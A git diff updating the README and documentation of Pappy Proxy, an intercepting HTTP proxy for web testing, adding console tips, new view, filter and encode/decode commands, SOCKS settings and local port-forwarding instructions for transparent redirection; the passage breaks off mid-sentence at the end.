diff --git a/README.md b/README.md index a8374f3..0ae3764 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ The Pappy Proxy =============== -[Documentation](https://roglew.github.io/pappy-proxy/) - [Tutorial](https://roglew.github.io/pappy-proxy/tutorial.html) +[Documentation](https://roglew.github.io/pappy-proxy/) - [Tutorial](https://roglew.github.io/pappy-proxy/tutorial.html) - [Website](http://www.pappyproxy.com) - [Blog](http://blog.pappyproxy.com) Table of Contents ================= @@ -58,6 +58,7 @@ Table of Contents * [Transparent Host Redirection](#transparent-host-redirection) * [Project File Encryption](#project-file-encryption) * [FAQ](#faq) + * [Text just appeared over my prompt! What do I do?!](#text-just-appeared-over-my-prompt-what-do-i-do) * [Why does my request have an id of --?!?!](#why-does-my-request-have-an-id-of---) * [Boring, Technical Stuff](#boring-technical-stuff) * [Request Cache / Memory usage](#request-cache--memory-usage) @@ -1261,6 +1262,11 @@ test.proj FAQ --- +### Text just appeared over my prompt! What do I do?! +Unfortunately I've been a bit lazy when it comes to printing errors to the terminal. A lot of stuff is just printed to stdout using `print`. This has the side effect of printing over your input. I'm very sorry and I'm trying to work on better solutions, but for now: + +* Hit Ctl-L to clear the terminal. Your input will be saved. + ### Why does my request have an id of `--`?!?! You can't do anything with a request/response until it is decoded and saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of `--`. So just wait a little bit and it will get an ID you can use. @@ -1278,6 +1284,9 @@ Changelog --------- The boring part of the readme +* 0.2.12 + * Add error handling for if creating a connection fails + * Minor bugfixes * 0.2.11 * Project directory compression/encryption. Thanks, onizenso! * Add `submit` command diff --git a/docs/build/html/.buildinfo b/docs/build/html/.buildinfo index c4f9af0..dbe5f83 100644 --- a/docs/build/html/.buildinfo +++ b/docs/build/html/.buildinfo @@ -1,4 +1,4 @@ # Sphinx build info version 1 # This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. -config: 218eea0cc3c2e724d7b1270f4fcdcfb7 +config: acf4b28924e7be348c4339aeb8b5e3ae tags: 645f666f9bcd5a90fca523b33c5a78b7 diff --git a/docs/build/html/_sources/index.txt b/docs/build/html/_sources/index.txt index b77b3b4..7d5e6e6 100644 --- a/docs/build/html/_sources/index.txt +++ b/docs/build/html/_sources/index.txt @@ -14,6 +14,7 @@ Contents: overview tutorial pappyplugins + contributing Indices and tables diff --git a/docs/build/html/_sources/overview.txt b/docs/build/html/_sources/overview.txt index f7c45b1..3a8ffa7 100644 --- a/docs/build/html/_sources/overview.txt +++ b/docs/build/html/_sources/overview.txt @@ -37,6 +37,9 @@ feature. So you can also contribute by writing a plugin and letting me know about it. You can find out more by looking at `the official plugin docs `__. +You can find ideas for features to add on `the contributing page in the +docs `__. + How to Use It ============= @@ -173,6 +176,130 @@ The following tokens will also be replaced with values: See the default ``config.json`` for examples. +General Console Techniques +-------------------------- + +There are a few tricks you can use in general when using Pappy's +console. Most of these are provided by the +`cmd `__ and +`cmd2 `__. + +Run a shell command +~~~~~~~~~~~~~~~~~~~ + +You can run a shell command with ``!``: + +:: + + pappy> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 5 GET vitaly.sexy /netscape.gif 304 Not Modified 0 0 0.08 -- + 4 GET vitaly.sexy /esr1.jpg 304 Not Modified 0 0 0.07 -- + 3 GET vitaly.sexy /construction.gif 304 Not Modified 0 0 0.07 -- + 2 GET vitaly.sexy /vitaly2.jpg 0 N/A -- -- + 1 GET vitaly.sexy / 304 Not Modified 0 0 0.07 -- + pappy> !ls + cmdhistory config.json data.db + pappy> + +Running Python Code +~~~~~~~~~~~~~~~~~~~ + +You can use the ``py`` command to either run python code or to drop down +to a Python shell. + +:: + + pappy> py print ':D '*10 + :D :D :D :D :D :D :D :D :D :D + pappy> py + Python 2.7.6 (default, Jun 22 2015, 17:58:13) + [GCC 4.8.2] on linux2 + Type "help", "copyright", "credits" or "license" for more information. + (ProxyCmd) + + py : Executes a Python command. + py: Enters interactive Python mode. + End with ``Ctrl-D`` (Unix) / ``Ctrl-Z`` (Windows), ``quit()``, '`exit()``. + Non-python commands can be issued with ``cmd("your command")``. + Run python code from external files with ``run("filename.py")`` + + >>> from pappyproxy import config + >>> config.CONFIG_DICT + {u'data_file': u'./data.db', u'history_size': 1000, u'cert_dir': u'{DATADIR}/certs', u'proxy_listeners': [{u'interface': u'127.0.0.1', u'port': 8000}]} + >>> exit() + pappy> + +Redirect Output To File +~~~~~~~~~~~~~~~~~~~~~~~ + +You can use ``>`` to direct output to a file. However, a number of +commands use colored output. If you just redirect these to a file, there +will be additional bytes which represent the ANSI color codes. To get +around this, use the ``nocolor`` command to remove the color from the +command output. + +:: + + pappy> ls > ls.txt + pappy> !xxd -c 32 -g 4 ls.txt + 0000000: 1b5b316d 1b5b346d 49442020 56657262 2020486f 73742020 20202020 20202050 .[1m.[4mID Verb Host P + 0000020: 61746820 20202020 20202020 20202020 2020532d 436f6465 20202020 20202020 ath S-Code + 0000040: 20202020 52657120 4c656e20 20527370 204c656e 20205469 6d652020 20204d6e Req Len Rsp Len Time Mn + 0000060: 676c2020 1b5b306d 0a352020 201b5b33 366d4745 541b5b30 6d202020 1b5b3931 gl .[0m.5 .[36mGET.[0m .[91 + 0000080: 6d766974 616c792e 73657879 1b5b306d 20201b5b 33366d1b 5b306d2f 1b5b3334 mvitaly.sexy.[0m .[36m.[0m/.[34 + 00000a0: 6d6e6574 73636170 652e6769 661b5b30 6d202020 2020201b 5b33356d 33303420 mnetscape.gif.[0m .[35m304 + 00000c0: 4e6f7420 4d6f6469 66696564 1b5b306d 20203020 20202020 20202030 20202020 Not Modified.[0m 0 0 + 00000e0: 20202020 302e3038 20202020 2d2d2020 20200a34 2020201b 5b33366d 4745541b 0.08 -- .4 .[36mGET. + 0000100: 5b306d20 20201b5b 39316d76 6974616c 792e7365 78791b5b 306d2020 1b5b3336 [0m .[91mvitaly.sexy.[0m .[36 + 0000120: 6d1b5b30 6d2f1b5b 33346d65 7372312e 6a70671b 5b306d20 20202020 20202020 m.[0m/.[34mesr1.jpg.[0m + 0000140: 201b5b33 356d3330 34204e6f 74204d6f 64696669 65641b5b 306d2020 30202020 .[35m304 Not Modified.[0m 0 + 0000160: 20202020 20302020 20202020 2020302e 30372020 20202d2d 20202020 0a332020 0 0.07 -- .3 + 0000180: 201b5b33 366d4745 541b5b30 6d202020 1b5b3931 6d766974 616c792e 73657879 .[36mGET.[0m .[91mvitaly.sexy + 00001a0: 1b5b306d 20201b5b 33366d1b 5b306d2f 1b5b3334 6d636f6e 73747275 6374696f .[0m .[36m.[0m/.[34mconstructio + 00001c0: 6e2e6769 661b5b30 6d20201b 5b33356d 33303420 4e6f7420 4d6f6469 66696564 n.gif.[0m .[35m304 Not Modified + 00001e0: 1b5b306d 20203020 20202020 20202030 20202020 20202020 302e3037 20202020 .[0m 0 0 0.07 + 0000200: 2d2d2020 20200a32 2020201b 5b33366d 4745541b 5b306d20 20201b5b 39316d76 -- .2 .[36mGET.[0m .[91mv + 0000220: 6974616c 792e7365 78791b5b 306d2020 1b5b3336 6d1b5b30 6d2f1b5b 33346d76 italy.sexy.[0m .[36m.[0m/.[34mv + 0000240: 6974616c 79322e6a 70671b5b 306d2020 20202020 201b5b33 366d3230 30204f4b italy2.jpg.[0m .[36m200 OK + 0000260: 1b5b306d 20202020 20202020 20202020 30202020 20202020 20323033 34303033 .[0m 0 2034003 + 0000280: 20203135 352e3131 20202d2d 20202020 0a312020 201b5b33 366d4745 541b5b30 155.11 -- .1 .[36mGET.[0 + 00002a0: 6d202020 1b5b3931 6d766974 616c792e 73657879 1b5b306d 20201b5b 33366d1b m .[91mvitaly.sexy.[0m .[36m. + 00002c0: 5b306d2f 1b5b3334 6d1b5b30 6d202020 20202020 20202020 20202020 2020201b [0m/.[34m.[0m . + 00002e0: 5b33356d 33303420 4e6f7420 4d6f6469 66696564 1b5b306d 20203020 20202020 [35m304 Not Modified.[0m 0 + 0000300: 20202030 20202020 20202020 302e3037 20202020 2d2d2020 20200a 0 0.07 -- . + pappy> nocolor ls > ls2.txt + pappy> !xxd -c 32 -g 4 ls2.txt + 0000000: 49442020 56657262 2020486f 73742020 20202020 20202050 61746820 20202020 ID Verb Host Path + 0000020: 20202020 20202020 2020532d 436f6465 20202020 20202020 20202020 52657120 S-Code Req + 0000040: 4c656e20 20527370 204c656e 20205469 6d652020 20204d6e 676c2020 0a352020 Len Rsp Len Time Mngl .5 + 0000060: 20474554 20202076 6974616c 792e7365 78792020 2f6e6574 73636170 652e6769 GET vitaly.sexy /netscape.gi + 0000080: 66202020 20202033 3034204e 6f74204d 6f646966 69656420 20302020 20202020 f 304 Not Modified 0 + 00000a0: 20203020 20202020 20202030 2e303820 2020202d 2d202020 200a3420 20204745 0 0.08 -- .4 GE + 00000c0: 54202020 76697461 6c792e73 65787920 202f6573 72312e6a 70672020 20202020 T vitaly.sexy /esr1.jpg + 00000e0: 20202020 33303420 4e6f7420 4d6f6469 66696564 20203020 20202020 20202030 304 Not Modified 0 0 + 0000100: 20202020 20202020 302e3037 20202020 2d2d2020 20200a33 20202047 45542020 0.07 -- .3 GET + 0000120: 20766974 616c792e 73657879 20202f63 6f6e7374 72756374 696f6e2e 67696620 vitaly.sexy /construction.gif + 0000140: 20333034 204e6f74 204d6f64 69666965 64202030 20202020 20202020 30202020 304 Not Modified 0 0 + 0000160: 20202020 20302e30 37202020 202d2d20 2020200a 32202020 47455420 20207669 0.07 -- .2 GET vi + 0000180: 74616c79 2e736578 7920202f 76697461 6c79322e 6a706720 20202020 20203230 taly.sexy /vitaly2.jpg 20 + 00001a0: 30204f4b 20202020 20202020 20202020 30202020 20202020 20323033 34303033 0 OK 0 2034003 + 00001c0: 20203135 352e3131 20202d2d 20202020 0a312020 20474554 20202076 6974616c 155.11 -- .1 GET vital + 00001e0: 792e7365 78792020 2f202020 20202020 20202020 20202020 20202033 3034204e y.sexy / 304 N + 0000200: 6f74204d 6f646966 69656420 20302020 20202020 20203020 20202020 20202030 ot Modified 0 0 0 + 0000220: 2e303720 2020202d 2d202020 200a0a .07 -- .. + pappy> + +If you want to write the contents of a request or response to a file, +don't use ``nocolor`` with ``vfq`` or ``vfs``. Use just the ``vbq`` or +``vbs`` commands. + ++---------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Description | ++===============+==============================================================================================================================================================================+ +| ``nocolor`` | Run a command and print its output without ASCII escape codes. Intended for use when redirecting output to a file. Should only be used with text and not with binary data. | ++---------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + Generating Pappy's CA Cert -------------------------- @@ -195,23 +322,45 @@ Browsing Recorded Requests/Responses The following commands can be used to view requests and responses -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Aliases | Description | -+====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+ -| ``ls [a|``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``sm`` | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``viq `` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vfq `` | view\_full\_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vhq `` | view\_request\_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vfs `` | view\_full\_response, vfs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vhs `` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++==============================================================================================================================================================================================================================================================================================================+==================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+ +| ``ls [a|``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``sm`` [p] | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. This has to go through all of the requests in the current context so it may be slow. If the ``p`` option is given, it will print the paths as paths rather than as a tree. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``viq `` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vfq `` | view\_full\_request, vfq, kjq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vbq `` | view\_request\_bytes, vbq | [V]iew [B]ytes of Re[Q]uest, prints the full request including headers and data without coloring or additional newlines. Use this if you want to write a request to a file. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``ppq `` | pretty\_print\_request, ppq | Pretty print a request with a specific format. See the table below for a list of formats. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vhq `` | view\_request\_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vfs `` | view\_full\_response, vfs, kjs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vhs `` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``vbs `` | view\_response\_bytes, vbs | [V]iew [B]ytes of Re[S]ponse, prints the full response including headers and data without coloring or additional newlines. Use this if you want to write a response to a file. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``pps `` | pretty\_print\_response, pps | Pretty print a response with a specific format. See the table below for a list of formats. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``pprm `` | print\_params, pprm | Print a summary of the parameters submitted with the request. It will include URL params, POST params, and/or cookies | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``pri [ct] [key(s)] | param_info, pri | Print a summary of the parameters and values submitted by in-context requests. You can pass in keys to limit which values will be shown. If you also provide``\ ct\ ``as the first argument, it will include any keys that are passed as arguments. | |``\ watch\` | watch | Print requests and responses in real time as they pass through the proxy. | ++--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Available formats for ``ppq`` and ``pps`` commands: + ++------------+------------------------------------------------------------+ +| Format | Description | ++============+============================================================+ +| ``form`` | Print POST data submitted from a form (normal post data) | ++------------+------------------------------------------------------------+ +| ``json`` | Print as JSON | ++------------+------------------------------------------------------------+ The table shown by ``ls`` will have the following columns: @@ -408,12 +557,20 @@ List of fields +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | body | body, data, bd, dt | The body (data section) of either the request or the response | String | +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| reqbody | qbody, qdata, qbd, qdt | The body (data section) of th request | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| rspbody | sbody, sdata, sbd, sdt | The body (data section) of th response | String | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | verb | verb, vb | The HTTP verb of the request (ie GET, POST) | String | +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | param | param, pm | Either the get or post parameters | Key/Value | +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | header | header, hd | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response | Key/Value | +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| reqheader | reqheader, qhd | An HTTP header in the request | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ +| rspheader | rspheader, shd | An HTTP header in the response | Key/Value | ++--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | rawheaders | rawheaders, rh | The entire header section (as one string) of either the head or the response | String | +--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ | sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value | @@ -465,6 +622,21 @@ can still negate these. +-----------+------------------+---------------------------------------------------------------------------------------------------------+ | after | after, af | Filters out any request that is not before the given request. Filters out any request without a time. | +-----------+------------------+---------------------------------------------------------------------------------------------------------+ +| inv | inf | Inverts a filter string. Anything that matches the filter string will not pass the filter. | ++-----------+------------------+---------------------------------------------------------------------------------------------------------+ + +Examples: + +:: + + Only show requests before request 1234 + f b4 1234 + + Only show requests after request 1234 + f af 1234 + + Show requests without a csrf parameter + f inv param ct csrf Scope ----- @@ -514,6 +686,81 @@ The ``fbi`` command also supports tab completion. | ``fbi `` | ``builtin_filter``, ``fbi`` | Apply a built-in filter to the current context | +--------------------+-------------------------------+--------------------------------------------------+ +Decoding Strings +---------------- + +These features try to fill a similar role to Burp's decoder. Each +command will automatically copy the results to the clipboard. In +addition, if no string is given, the commands will encode/decode +whatever is already in the clipboard. Here is an example of how to +base64 encode/decode a string. + +:: + + pappy> b64e "Hello World!" + SGVsbG8gV29ybGQh + pappy> b64d + Hello World! + pappy> + +And if the result contains non-printable characters, a hexdump will be +produced instead + +:: + + pappy> b64d ImALittleTeapot= + 0000 22 60 0b 8a db 65 79 37 9a a6 8b "`...ey7... + + pappy> + +The following commands can be used to encode/decode strings: + ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++===========================+=====================================+=====================================================================================================================================================================+ +| ``base64_decode`` | ``base64_decode``, ``b64d`` | Base64 decode a string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``base64_encode`` | ``base64_encode``, ``b64e`` | Base64 encode a string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``asciihex_decode`` | ``asciihex_decode``, ``ahd`` | Decode an ASCII hex string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``asciihex_encode`` | ``asciihex_encode``, ``ahe`` | Encode an ASCII hex string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``html_decode`` | ``html_decode``, ``htmld`` | Decode an html encoded string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``html_encode`` | ``html_encode``, ``htmle`` | Encode a string to html encode all of the characters | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``url_decode`` | ``url_decode``, ``urld`` | Url decode a string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``url_encode`` | ``url_encode``, ``urle`` | Url encode a string | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``gzip_decode`` | ``gzip_decode``, ``gzd`` | Gzip decompress a string. Probably won't work too well since there's not a great way to get binary data passed in as an argument. I'm working on this. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``gzip_encode`` | ``gzip_encode``, ``gze`` | Gzip compress a string. Result doesn't get copied to the clipboard. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``base64_decode_raw`` | ``base64_decode_raw``, ``b64dr`` | Same as ``base64_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``base64_encode_raw`` | ``base64_encode_raw``, ``b64er`` | Same as ``base64_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``asciihex_decode_raw`` | ``asciihex_decode_raw``, ``ahdr`` | Same as ``asciihex_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``asciihex_encode_raw`` | ``asciihex_encode_raw``, ``aher`` | Same as ``asciihex_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``html_decode_raw`` | ``html_decode_raw``, ``htmldr`` | Same as ``html_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``html_encode_raw`` | ``html_encode_raw``, ``htmler`` | Same as ``html_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``url_decode_raw`` | ``url_decode_raw``, ``urldr`` | Same as ``url_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``url_encode_raw`` | ``url_encode_raw``, ``urler`` | Same as ``url_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``gzip_decode_raw`` | ``gzip_decode_raw``, ``gzdr`` | Same as ``gzip_decode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``gzip_encode_raw`` | ``gzip_encode_raw``, ``gzer`` | Same as ``gzip_encode`` but will not print a hexdump if it contains non-printable characters. It is suggested you use ``>`` to redirect the output to a file. | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``unixtime_decode`` | ``unixtime_decode``, ``uxtd`` | Take in a unix timestamp and print a human readable timestamp | ++---------------------------+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + Interceptor ----------- @@ -1033,6 +1280,8 @@ error checking. +----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ | ``export `` | ``export`` | Writes either the full request or response to a file in the current directory. | +----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``merge `` | ``merge`` | Add all the requests from another datafile to the current datafile | ++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ Response streaming ~~~~~~~~~~~~~~~~~~ @@ -1146,6 +1395,116 @@ plugin for it. You may also consider keeping a ``mine.py`` plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for. +Global Settings +--------------- + +There are some settings that apply to Pappy as a whole and are stored in +``~/.pappy/global_config.json``. These settings are generally for tuning +performance or modifying behavior on a system-wide level. No information +about projects is put in here since it is world readable. You can +technically add settings in here for plugins that you write, but if it's +at all possible, please keep settings in the normal project config. + +Settings included in ``~/.pappy/global_config.json``: + ++---------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Setting | Description | ++===============+===============================================================================================================================================================================+ +| cache\_size | The number of requests from history that will be included in memory at any given time. Set to -1 to keep everything in memory. See the request cache section for more info. | ++---------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Using a SOCKS Server +-------------------- + +Pappy allows you to use an upstream SOCKS server. You can do this by +adding a ``socks_proxy`` value to config.json. You can use the following +for anonymous access to the proxy: + +:: + + "socks_proxy": {"host":"socks.proxy.host", "port":5555} + +To use credentials you add a ``username`` and ``password`` value to the +dictionary: + +:: + + "socks_proxy": {"host":"socks.proxy.host", "port":5555, "username": "mario", "password":"ilovemushrooms"} + +Anything that passes through any of the active listeners will use the +proxy. + +Transparent Host Redirection +---------------------------- + +Sometimes you get a frustrating thick client that doesn’t let you mess +with proxy settings to get it to go through a proxy. However, if you can +redirect where it sends its traffic to localhost, you can get Pappy to +take that traffic and redirect it to go where it should. + +It takes root permissions to listen on low numbered ports. As a result, +we’ll need to do some root stuff to listen on ports 80 and 443 and get +the data to Pappy. There are two ways to get the traffic to Pappy. The +first is to set up port forwarding as root to send traffic from +localhost:80 to localhost:8080 and localhost:443 to localhost:8443 +(since we can listen on 8080 and 8443 without root). Or you can YOLO, +run Pappy as root and just have it listen on 80 and 443. + +According to Google you can use the following command to forward port 80 +on localhost to 8080 on Linux: + +:: + + iptables -t nat -A PREROUTING -i ppp0 -p tcp --dport 80 -j REDIRECT --to-ports 8080 + +Then to route 443 to 8443: + +:: + + iptables -t nat -A PREROUTING -i ppp0 -p tcp --dport 443 -j REDIRECT --to-ports 8443 + +Of course, both of these need to be run as root. + +Then on mac it’s + +:: + + echo " + rdr pass inet proto tcp from any to any port 80 -> 127.0.0.1 port 8080 + rdr pass inet proto tcp from any to any port 443 -> 127.0.0.1 port 8443 + " | sudo pfctl -ef - + Then to turn it off on mac it’s + sudo pfctl -F all -f /etc/pf.conf + +Then modify the listener settings in the project’s config.json to be: + +:: + + "proxy_listeners": [ + {"port": 8080, "interface": "127.0.0.1", "forward_host": "www.example.faketld"}, + {"port": 8443, "interface": "127.0.0.1", "forward_host_ssl": "www.example.faketld"}, + ] + +This configuration 